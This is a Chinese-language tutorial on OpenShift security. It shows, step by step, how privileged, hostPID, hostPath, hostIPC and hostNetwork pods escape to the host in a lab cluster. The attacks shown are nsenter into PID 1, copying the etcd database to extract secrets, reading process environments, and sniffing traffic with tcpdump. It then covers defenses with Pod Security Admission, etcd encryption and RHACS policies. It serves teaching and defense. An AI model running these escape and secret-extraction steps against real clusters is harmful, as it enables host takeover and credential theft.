OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险

《OpenShift / RHEL / DevSecOps 汇总目录》
说明:本文已经在 OpenShift 4.14 的环境中验证

本文是《容器安全 - 利用容器的特权配置实现对Kubernetes攻击》的后续篇,来介绍 在 OpenShift 环境中的容器特权配置和攻击过程和 Kubernetes 环境的差异,以及如何使用 PSA 和 RHACS 预防特权容器风险。

注意:请先完成“环境准备”和“获取 ETCD 中的数据”场景后再去完成其他场景。

文章目录

  • 准备环境
  • 利用特权配置对Kubernetes容器攻击
    • privileged + hostpid
      • 获取 etcd 中的数据
      • 获取 PID 的运行参数
    • privileged
    • privileged+hostpath
    • hostipc
    • privileged+hostnetwork
  • 修改 Namespace 的缺省 Pod Security Admission 配置
    • 集群管理员身份
    • 项目管理员身份
  • 预防攻击,提升安全
    • 对 etcd 数据库进行加密
    • 使用 RHACS 跟踪特权容器
    • 使用 RHACS 的策略屏蔽风险程序运行
  • 参考

准备环境

  1. 执行命令可以看到该 OpenShift 集群的节点。
$ oc get node -owide
NAME                            STATUS   ROLES                  AGE   VERSION           INTERNAL-IP   EXTERNAL-IP   OS-IMAGE                                                       KERNEL-VERSION                 CONTAINER-RUNTIME
control-plane-cluster-fbt6n-1   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.10   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
control-plane-cluster-fbt6n-2   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.11   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
control-plane-cluster-fbt6n-3   Ready    control-plane,master   28h   v1.26.9+c7606e7   10.10.10.12   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
worker-cluster-fbt6n-1          Ready    worker                 28h   v1.26.9+c7606e7   10.10.10.20   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
worker-cluster-fbt6n-2          Ready    worker                 28h   v1.26.9+c7606e7   10.10.10.21   <none>        Red Hat Enterprise Linux CoreOS 413.92.202310141129-0 (Plow)   5.14.0-284.36.1.el9_2.x86_64   cri-o://1.26.4-4.rhaos4.13.git92b763a.el9
  1. 创建新的 project,并确认标签默认包含有 “pod-security.kubernetes.io” 相关内容。 这是由于 OpenShift 默认对资源施加了 pod-security 策略。
$ oc new-project pod-security
$ oc get ns pod-security -ojsonpath={.metadata.labels} | jq
{
  "kubernetes.io/metadata.name": "pod-security",
  "pod-security.kubernetes.io/audit": "privileged",
  "pod-security.kubernetes.io/audit-version": "v1.24",
  "pod-security.kubernetes.io/warn": "privileged",
  "pod-security.kubernetes.io/warn-version": "v1.24"
}
  1. 尝试删除 Project 或 Namespace 的 pod-security.kubernetes.io 相关标签配置,确认系统提示无法修改。这是因为 OpenShift 对资源施加的 pod-security 策略是强制的,虽然不能通过上述标签关闭此功能,但可以通过显示声明的方式使用特权模式运行 Pod。
  2. 为了后面的测试,我们在集群中创建一个被攻击的 Secret 以及一个验证目录 test。
$ oc create secret generic my-secret \
    --from-literal=username=myadmin \
    --from-literal=password='mypass'
  1. 为本文采用标准 OpenShift 集群,在后面配置中有些需要强行让 Pod 运行在指定节点上。设置后面使用的 Master 和 Worker 节点名称。
$ MASTER_NODE=control-plane-cluster-1
$ WORKER_NODE=worker-cluster-1

利用特权配置对Kubernetes容器攻击

privileged + hostpid

获取 etcd 中的数据

当 privileged 设为 true 时容器会以特权运行,而 hostPID 设置为 true 后就可以在 pod 中看宿主机的所有 pid 进程,并允许进入这些进程的命名空间。

  1. 执行以下命令创建包含 privileged + hostpid 配置的部署。从对应 Pod 可进入属于 Master 宿主机的 init system (PID 1 进程) ,从而能访问宿主机文件系统并在宿主机上执行命令。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: priv-hostpid-1
spec:
  replicas: 1
  selector:
    matchLabels:
      app: priv-hostpid-1
  template:
    metadata:
      labels:
        app: priv-hostpid-1
    spec:
      nodeName: ${MASTER_NODE}
      hostPID: true
      containers:
        - name: priv-hostpid
          image: ubuntu
          tty: true
          securityContext:
            privileged: true
          command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
EOF
  1. 在 OpenShift 控制台中可以看到部署告警,其中包含 Privileged containers are not allowed 的提示。这是因为在 OpenShift 中运行特权容器需要通过有权限的 serviceaccount 才可以。
    OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第1张图片
  2. 为了能部署运行特权容器,可通过以下三步实现:先创建一个 serviceaccount,然后再赋予 serviceaccount 以 privileged 的 SCC 权限,最后再将 serviceaccount 设给 deployment。
$ oc describe scc privileged
Name:                                           privileged
Priority:                                       <none>
Access:
  Users:                                        system:admin,system:serviceaccount:openshift-infra:build-controller
  Groups:                                       system:cluster-admins,system:nodes,system:masters
Settings:
  Allow Privileged:                             true
  Allow Privilege Escalation:                   true
  Default Add Capabilities:                     <none>
  Required Drop Capabilities:                   <none>
  Allowed Capabilities:                         *
  Allowed Seccomp Profiles:                     *
  Allowed Volume Types:                         *
  Allowed Flexvolumes:                          <all>
  Allowed Unsafe Sysctls:                       *
  Forbidden Sysctls:                            <none>
  Allow Host Network:                           true
  Allow Host Ports:                             true
  Allow Host PID:                               true
  Allow Host IPC:                               true
  Read Only Root Filesystem:                    false
  Run As User Strategy: RunAsAny
    UID:                                        <none>
    UID Range Min:                              <none>
    UID Range Max:                              <none>
  SELinux Context Strategy: RunAsAny
    User:                                       <none>
    Role:                                       <none>
    Type:                                       <none>
    Level:                                      <none>
  FSGroup Strategy: RunAsAny
    Ranges:                                     <none>
  Supplemental Groups Strategy: RunAsAny
    Ranges:                                     <none>

$ oc create sa sa-privileged
$ oc adm policy add-scc-to-user privileged -z sa-privileged
$ oc set sa deploy priv-hostpid-1 sa-privileged
  1. 确认 pod 已经能正常部署和运行了。
$ oc get pod -l app=priv-hostpid-1 -owide
NAME                              READY   STATUS    RESTARTS   AGE   IP            NODE                            NOMINATED NODE   READINESS GATES
priv-hostpid-1-795ff5bcdb-bslxj   1/1     Running   0          10m   10.133.0.35   control-plane-cluster-fbt6n-3   <none>           <none>
  1. 由于 Pod 中没有 strings 命令,可以先将 etcd 数据库从 master 节点中复制到本地。
$ oc cp $(oc get pod -l app=priv-hostpid-1 -o custom-columns=:metadata.name --no-headers):/var/lib/etcd/member/snap/db ~/db
tar: Removing leading `/' from member names
tar: /var/lib/etcd/member/snap/db: file changed as we read it

$ ll ~/db
-rw-r--r--. 1 dawnsky dawnsky 127393792 10月29日 10:38 /home/dawnsky/db
  1. 使用本地的 strings 工具从 etcd 数据库中可以获取到 my-secret 中的敏感数据。
$ yum install binutils
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secret
        my-secret
pod-security"
*$a2e0359e-8a52-479c-a7b5-62e1d33520c32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

获取 PID 的运行参数

当 Pod 的 hostpid 设为 true 后就可以在容器中不但可以看到所有宿主机的进程,还包括在 pod 中运行的进程以及 pod 的环境变量(/proc/[PID]/environ 文件)和 pod 的文件描述符(/proc/[PID]/fd[X])。可以在这些文件中获取到 Pod 使用的 Secret 敏感数据。另外,还可以通过 kill 进程来危害 Kubernetes 集群的运行。

  1. 执行命令运行具有 hostpid 特性的 Pod。
$ cat << EOF | kubectl apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: priv-hostpid-2
spec:
  replicas: 1
  selector:
    matchLabels:
      app: priv-hostpid-2
  template:
    metadata:
      labels:
        app: priv-hostpid-2
        app.group: priv-hostpid-2
    spec:
      hostPID: true
      nodeName: ${WORKER_NODE}
      containers:
        - name: priv-hostpid
          image: ubuntu
          securityContext:
            privileged: true
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
EOF
  1. 执行以下命令,为部署设置有 privileged 权限的 serviceaccount。
$ oc set sa deploy priv-hostpid-2 sa-privileged
  1. 再运行另一个使用测试 Secret 的 Pod。
$ cat << EOF | kubectl apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: mypasswd
spec:
  replicas: 1
  selector:
    matchLabels:
      app: mypasswd
  template:
    metadata:
      labels:
        app: mypasswd
        app.group: priv-hostpid-2
    spec:
      nodeName: ${WORKER_NODE}
      containers:
        - name: mysql
          image: busybox
          command: ['sh', '-c', 'echo "Hello, OpenShift!" && sleep 1000']
          env:
            - name: MY_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: my-secret
                  key: password
EOF
  1. 确认 2 个 Pod 都运行在一个 Node 上。
$ oc get pod -l app.group=priv-hostpid-2 -owide
NAME                            READY   STATUS    RESTARTS   AGE    IP            NODE               NOMINATED NODE   READINESS GATES
priv-hostpid-2-bbcc56f5-nzjnr   1/1     Running   0          51s    10.133.2.26   worker-cluster-1   <none>           <none>
mypasswd-9f488448d-drtqt        1/1     Running   0          34s    10.133.2.27   worker-cluster-1   <none>           <none>
  1. 进入 priv-hostpid-pod-2-bbcc56f5-nzjnr 的 Pod,然后确认可以在 /proc/*/environ 中查找到 MY_PASSWORD 关键字和对应的内容。
$ oc exec -it $(oc get pod -l app=priv-hostpid-2 -o custom-columns=:metadata.name --no-headers) -- bash
root@hostpid-bbcc56f5-nzjnr:/# for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
root@hostpid-bbcc56f5-nzjnr:/# cat envs.txt | grep MY_PASSWORD
MY_PASSWORD=mypass

privileged

当 privileged 设为 true 时容器会以特权运行,这样可以从容器中访问宿主机的任何设备。

  1. 执行命令创建具有 privileged 配置的部署,完成后可以看到如前一个场景的截图一样提示 Privileged containers are not allowed。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: priv
spec:
  replicas: 1
  selector:
    matchLabels:
      app: priv
  template:
    metadata:
      labels:
        app: priv
    spec:
      nodeName: ${MASTER_NODE}
      containers:
        - name: priv
          image: redhat/ubi8-init
          securityContext:
            privileged: true
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
EOF
  1. 将 sa-privileged 设置到 priv-pod 部署后可以确认 pod 正常运行。
$ oc set sa deploy priv sa-privileged

$ oc get pod -l app=priv -owide
NAME                  READY   STATUS    RESTARTS   AGE   IP            NODE                            NOMINATED NODE   READINESS GATES
priv-ddb749c9-zwtl8   1/1     Running   0          8s    10.133.0.40   control-plane-cluster-fbt6n-3   <none>           <none>
  1. 执行命令查看分区,其中 /dev/vdb1 为代表宿主机存储的设备。
$ oc exec -it $(oc get pod -l app=priv -o custom-columns=:metadata.name --no-headers) -- bash
[root@priv-6d78db564c-x6ctf /]]# fdisk -l
Disk /dev/vda: 100 GiB, 107374182400 bytes, 209715200 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: FBCD7991-A9CA-47A4-9AD7-5D4D70718039

Device       Start       End   Sectors  Size Type
/dev/vda1     2048      4095      2048    1M BIOS boot
/dev/vda2     4096    264191    260096  127M EFI System
/dev/vda3   264192   1050623    786432  384M Linux filesystem
/dev/vda4  1050624 209715166 208664543 99.5G Linux filesystem

Disk /dev/vdb: 30 GiB, 32212254720 bytes, 62914560 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 13B5BB15-3757-4FED-A554-849DC2AE15B3

Device     Start      End  Sectors Size Type
/dev/vdb1   2048 62914526 62912479  30G Linux filesystem
  1. 将 /dev/vdb1 挂在到容器的 /host 目录下,确认可以看到 Master 宿主机的目录。
[root@priv-6d78db564c-x6ctf /]# mkdir /host
[root@priv-6d78db564c-x6ctf /]# mount /dev/vdb1 /host/
[root@priv-6d78db564c-x6ctf /]# ls /host/member/
snap  wal
  1. 在一个新终端执行以下命令,将挂载到 priv-pod 存储的 etcd 数据库复制到本地。
$ oc cp $(oc get pod -l app=priv -o custom-columns=:metadata.name --no-headers):/host/member/snap/db ~/db
tar: Removing leading `/' from member names
  1. 从 etcd 数据库中获取到 my-secret 中的数据。
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secret
        my-secret
pod-security"
*$a2e0359e-8a52-479c-a7b5-62e1d33520c32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

privileged+hostpath

通过 hostpath 也可以将宿主机的 “/” 目录挂载到的 pod 中,从而获得宿主机文件系统的读/写权限。如果容器是运行在 master 节点上,则可访问 master 宿主机上未加密 ETCD 数据库中的敏感信息。

  1. 执行命令运行具有 hostpath 特性的 Pod,它将挂载宿主机的 / 目录。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: priv-hostpath
spec:
  replicas: 1
  selector:
    matchLabels:
      app: priv-hostpath
  template:
    metadata:
      labels:
        app: priv-hostpath
    spec:
      nodeName: ${MASTER_NODE}
      containers:
        - name: priv-hostpath
          image: ubuntu
          securityContext:
            privileged: true
          volumeMounts:
          - mountPath: /host
            name: noderoot
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
      volumes:
        - name: noderoot
          hostPath:
            path: /
EOF
  1. 此时 Deployment 依然会提示部署告警,需要执行以下命令为部署设置有 privileged 权限的 serviceaccount。
$ oc set sa deploy priv-hostpath sa-privileged

$ oc get pod -l app=priv-hostpath -owide
NAME                             READY   STATUS    RESTARTS   AGE    IP            NODE                            NOMINATED NODE   READINESS GATES
priv-hostpath-7bcd778596-r6prj   1/1     Running   0          102s   10.133.0.43   control-plane-cluster-fbt6n-3   <none>           <none>
  1. 通过 priv-hostpath 部署将 Master 节点的 ETCD 数据库文件复制到本地。
$ oc cp $(oc get pod -l app=priv-hostpath -o custom-columns=:metadata.name --no-headers):/host/var/lib/etcd/member/snap/db ~/db
tar: Removing leading `/' from member names
tar: /host/var/lib/etcd/member/snap/db: file changed as we read it
  1. 确认从宿主机上未加密 ETCD 数据库中获得到 Secret 敏感数据。
$ strings ~/db | grep my-secret -A 10
-/kubernetes.io/secrets/pod-security/my-secret
Secret
        my-secret
pod-security"
*$8c572ad6-8f66-48f5-97cb-cd79035208822
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

hostipc

当 Pod 的 hostpid 设为 true 后就可以在容器中访问到宿主机 IPC 命名空间,利用 IPC 可以访问到保存在宿主机共享内存中的数据。

  1. 执行命令运行 2 个具有 hostipc 特性的 Deployment。
$ cat << EOF | oc apply -f -
kind: Deployment
apiVersion: apps/v1
metadata:
  name: hostipc-1
spec:
  replicas: 1
  selector:
    matchLabels:
      app: hostipc-1
  template:
    metadata:
      labels:
        app: hostipc-1
        app.group: hostipc
    spec:
      hostIPC: true
      nodeName: ${WORKER_NODE}
      containers:
        - name: hostipc
          image: ubuntu
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
---
kind: Deployment
apiVersion: apps/v1
metadata:
  name: hostipc-2
spec:
  replicas: 1
  selector:
    matchLabels:
      app: hostipc-2
  template:
    metadata:
      labels:
        app: hostipc-2
        app.group: hostipc
    spec:
      hostIPC: true
      nodeName: ${WORKER_NODE}
      containers:
        - name: hostipc
          image: ubuntu
          command: [ "/bin/sh", "-c", "--" ]
          args: [ "while true; do sleep 30; done;" ]
EOF
  1. 执行以下命令,为 2 个部署设置有 privileged 权限的 serviceaccount。
$ oc set sa deploy hostipc-1 sa-privileged
$ oc set sa deploy hostipc-2 sa-privileged
  1. 查看 2 个 Pod 都运行在相同的 Node 上。
$ oc get pod -o wide -l app.group=hostipc
NAME                         READY   STATUS    RESTARTS   AGE   IP            NODE               NOMINATED NODE   READINESS GATES
hostipc-1-6b7474694f-k864f   1/1     Running   0          77s   10.135.0.12   worker-cluster-1   <none>           <none>
hostipc-2-849c6f5ff7-pbd7s   1/1     Running   0          78s   10.135.0.11   worker-cluster-1   <none>           <none>
  1. 先进入 hostipc-1-6b7474694f-k864f 的 Pod,将测试数据写入 IPC 共享区。
$ oc exec -it $(oc get pod -l app=hostipc-1 -o custom-columns=:metadata.name --no-headers) --  bash
root@hostipc-1-6b7474694f-k864f:/# echo "secretpassword" > /dev/shm/secretpassword.txt
root@hostipc-1-6b7474694f-k864f:/# exit
exit
  1. 再进入 hostipc-2-849c6f5ff7-pbd7 的 Pod,确认可以通过 IPC 共享区获取到 hostipc-1-6b7474694f-k864f 写入的测试数据。
$ oc exec -it $(oc get pod -l app=hostipc-2 -o custom-columns=:metadata.name --no-headers) -- more /dev/shm/secretpassword.txt 
secretpassword

privileged+hostnetwork

当 Pod 的 hostnetwork 为 true 时,pod 实际上用的是宿主机的网络地址空间:即 pod 使用的是宿主机 IP,而非 CNI 分配的 IP,端口是宿主机网络监听接口。由于 pod 的流量与宿主机的流量无法区分,因此也就无法对 Pod 应用常规的 Kubernetes 网络策略。

  1. 执行命令,创建一个使用 hostnetwork 的 Pod 和一个普通 Deployment 及其对应的 Service。强制所有 Pod 都运行在 OpenShift 集群的一个 Worker 节点上。
$ cat << EOF | oc apply -f -
kind: Pod
apiVersion: v1
metadata:
  name: priv-hostnetwork
  labels:
    app.group: priv-hostnetwork
spec:
  hostNetwork: true
  nodeName: ${WORKER_NODE}
  containers:
    - name: priv-hostnetwork
      command:
        - /bin/sh
      securityContext:
        privileged: true
      tty: true
      image: quay.io/openshift/origin-tests:4.14
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: hello-openshift
  labels:
    app: hello-openshift
spec:
  replicas: 1
  selector:
    matchLabels:
      app: hello-openshift
  template:
    metadata:
      labels:
        app: hello-openshift
        app.group: priv-hostnetwork
    spec:
      nodeName: ${WORKER_NODE}
      containers:
      - image: openshift/hello-openshift
        name: hello-openshift
        ports:
        - containerPort: 8080
          protocol: TCP
        - containerPort: 8888
          protocol: TCP
---
apiVersion: v1
kind: Service
metadata:
  name: hello-openshift
spec:
  type: NodePort
  ports:
    - nodePort: 32222
      port: 8080
  selector:
    app: hello-openshift
EOF
  1. 查看 2 个 Pod 都运行在相同的 Worker 节点上,另外普通 Pod 的 IP 使用的是容器网段 10.133.2.14,而启用 hostnetwork 的 Pod 使用的就是 Worker 宿主机节点的 IP 地址 10.10.10.22。
$ oc get pod -l app.group=priv-hostnetwork -owide
NAME                               READY   STATUS    RESTARTS   AGE   IP            NODE               NOMINATED NODE   READINESS GATES
hello-openshift-786967d498-vqzzs   1/1     Running   0          9s    10.133.2.31   worker-cluster-1   <none>           <none>
priv-hostnetwork                   1/1     Running   0          9s    10.10.10.22   worker-cluster-1   <none>           <none>
  1. 查看普通 Pod 对应 Service 绑定的 nodeport 端口。
$ oc get svc hello-openshift -ojsonpath={.spec.ports[0].nodePort}
32222
  1. 进入 priv-hostnetwork 的 Pod,然后查看从容器可看到的 IP 配置。
$ oc exec -it priv-hostnetwork -- bash
[root@worker-cluster-1 /]# ip a
  1. 使用 tcpdump 开始嗅探到流经 32222 端口的 TCP 数据。
[root@worker-cluster-1 /]# tcpdump -s 0 -A 'tcp dst port 32222 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
  1. 在第二个终端里进入 Worker 节点,然后获得节点 IP 配置,确认它和第 4 步的 IP 地址相同。
$ oc debug node/${WORKER_NODE}
Temporary namespace openshift-debug-nrkr2 is created for debugging node...
Starting pod/worker-cluster-1-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.10.10.22
If you don't see a command prompt, try pressing enter.
sh-4.4# ip a
  1. 在第二个终端里使用 IP 和 Service 绑定的 nodeport 端口访问运行在普通 Pod 中运行的 hello-openshift,确认可以正常访问。
sh-4.4# curl 10.10.10.22:32222
Hello OpenShift!
  1. 回到第 5 步的窗口,确认在 priv-hostnetwork 中已经可以嗅探到 Response 的数据。在真是情况下这些数据可以是敏感的业务数据,或是未经保护的密码等数据。
13:31:23.358854 IP worker-cluster-1.32222 > worker-cluster-2.59406: Flags [P.], seq 1:135, ack 81, win 478, options [nop,nop,TS val 2910336089 ecr 716100043], length 134: HTTP: HTTP/1.1 200 OK
E...h.@.=...

.}....qT.........(......
.x4Y*...HTTP/1.1 200 OK
Date: Wed, 01 Nov 2023 13:31:23 GMT
Content-Length: 17
Content-Type: text/plain; charset=utf-8

Hello OpenShift!

修改 Namespace 的缺省 Pod Security Admission 配置

OpenShift 会通过 PSA Label Synchronization Controller 为每个用户使用的 Namespace(即非 “openshift-” 开头的 Namespace)自动添加缺省的 PSA 策略。除非修改 PSA Label Synchronization Controller 的策略,否则用户只能在缺省 PSA 之外添加其他策略,而不能删除缺省 PSA 配置策略。

集群管理员身份

1.查看 pod-security 命名空间的 PSA 配置,确认其已有默认的 PSA 配置。

$ oc get ns pod-security -ojsonpath={.metadata.labels} | jq
{
  "kubernetes.io/metadata.name": "pod-security",
  "pod-security.kubernetes.io/audit": "restricted",
  "pod-security.kubernetes.io/audit-version": "v1.24",
  "pod-security.kubernetes.io/warn": "restricted",
  "pod-security.kubernetes.io/warn-version": "v1.24"
}
  1. 进入 OpenShift 控制台的命名空间菜单,找到 pod-security 后尝试删除 PSA 相关标签,保存后会发现配置后被重新复原。这是由于 PSA Label Synchronization Controller 会自动保持缺省的 PSA。
    OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第2张图片
  2. 在上图的标签区域加入以下标签,然后保存,确认可以保存成功。
pod-security.kubernetes.io/enforce: restricted
  1. 在上图的标签区域加入以下标签,然后删除所有其他 PSA 配置标签,确认可以保存成功。这是因为改标签可关闭 PSA Label Synchronization Controller 强制的缺省 PSA 配置。
security.openshift.io/scc.podSecurityLabelSync: 'false'
  1. 在删除以上标签后,缺省的 PSA 配置标签又会被恢复。

项目管理员身份

  1. 用一个一般用户登录 OpenShift,例如 user1 用户。
  2. 然后创建一个新项目,名称例如 user1。
  3. 修改 user1 项目的 YAML。在保存后确认有下图提示,这说明 project 对象的配置是 immutable 不可变。
    OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第3张图片
  4. 执行命令修改 user1 的 Namespace 配置,确定在保存后有以下 error 提示。这说明只有集群管理员才可以修改 Namespace 的配置,因此除了集群管理员,一般用户无法让自己管理的 Namespace 脱离 PSA 的保护。
$ oc label --overwrite ns user1 security.openshift.io/scc.podSecurityLabelSync='false'
Error from server (Forbidden): namespaces "user1" is forbidden: User "user1" cannot patch resource "namespaces" in API group "" in the namespace "user1"

预防攻击,提升安全

对 etcd 数据库进行加密

请参照《OpenShift 4 - 对 OpenShift 的 ETCD 数据库加密》一文对 OpenShift etcd 数据库加密,以提高安全性。

使用 RHACS 跟踪特权容器

可参照《OpenShift Security (2) - 安装 Red Hat Advanced Cluster Security(RHACS)》一文安装 RHACS。

  1. 在 RHACS 控制台中进入 Configuration Management 菜单,在页面的 Policy violations by severity 区域中左侧的圆中依次选中 Privileges 和 View deployments violating “1. Privileged Container” 区域。
    OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第4张图片
  2. 点击上图右侧的链接,然后通过设置下图的过滤条件就可以跟踪到 OpenShift 集群中所有运行的特权容器。
    OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第5张图片
  3. 重新在 Configuration Management 页面中选择 Docker CIS 和 Docker CIS 5.16: Ensure that the host’s IPC namespace is not shared 区域。
    OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第6张图片
  4. 点击上图右侧的链接,然后通过设置下图的过滤条件就可以跟踪到 OpenShift 集群中所有使用 hostipc 配置的容器。
    OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第7张图片
  5. 重新在 Configuration Management 页面中选择 Docker CIS 和 View deployments violating “Docker CIS 5.9 and 5.20: Ensure that the host’s network namespace is not shared” 区域。OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第8张图片
  6. 点击上图右侧的链接,然后通过设置下图的过滤条件就可以跟踪到 OpenShift 集群中所有使用 hostnetwork 配置的容器。
    OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第9张图片
  7. 重新在 Configuration Management 页面中选择 Docker CIS 和 View deployments violating “Docker CIS 5.15: Ensure that the host’s process namespace is not shared” 区域。
    OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第10张图片
  8. 点击上图右侧的链接,然后通过设置下图的过滤条件就可以跟踪到 OpenShift 集群中所有使用 hostpid 配置的容器。
    OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第11张图片

使用 RHACS 的策略屏蔽风险程序运行

  1. 进入 RHACS 的 Platform Configuration 的 Policy Management 菜单。
  2. 然后根据以下配置(如果发现在一个 Pod 中有运行的 tcpdump 命令,则删除该 Pod)创建一个名为 “Running tcpdump command in pod” 的策略。
    OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第12张图片
  3. 再次执行 “privileged+hostnetwork” 一节的第 4 步进入 priv-hostnetwork 的 pod。
  4. 在 pod 中执行第 5 步 tcpdump 命令,确认 priv-hostnetwork pod 会被删。
  5. 进入 RHACS 的 Violations 中可以看到有一个违反 “Running tcpdump command in pod” 策略的情况。OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第13张图片
  6. 点击链接可以看到策略违规的详细说明。
    OpenShift - 利用容器的特权配置实现对OpenShift攻击,以及如何使用 PSA 和 RHACS 防范风险_第14张图片

参考

https://connect.redhat.com/en/blog/important-openshift-changes-pod-security-standards
https://github.com/openshift/enhancements/blob/master/enhancements/authentication/pod-security-admission-autolabeling.md#psa-label-synchronization-controller

你可能感兴趣的:(安全,openshift,devops)